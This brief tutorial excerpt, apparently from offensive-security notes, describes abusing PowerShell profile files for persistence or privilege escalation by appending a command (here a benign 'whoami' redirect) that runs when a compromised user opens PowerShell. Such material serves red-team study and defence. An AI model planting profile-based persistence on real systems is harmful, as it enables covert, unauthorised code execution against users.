It's possible to use powershell profiles for persistence and/or privilege escalation.
There are four places you can abuse the powershell profile, depending on the privileges you have:
$PROFILE | select *
Let's add the code to a
$profile variable (that expands to the current user's profile file) that will get executed the next time the compromised user launches a powershell console:
echo "whoami > c:\temp\whoami.txt" > $PROFILEcat $PROFILE
Once the compromised user launches powershell, our code gets executed: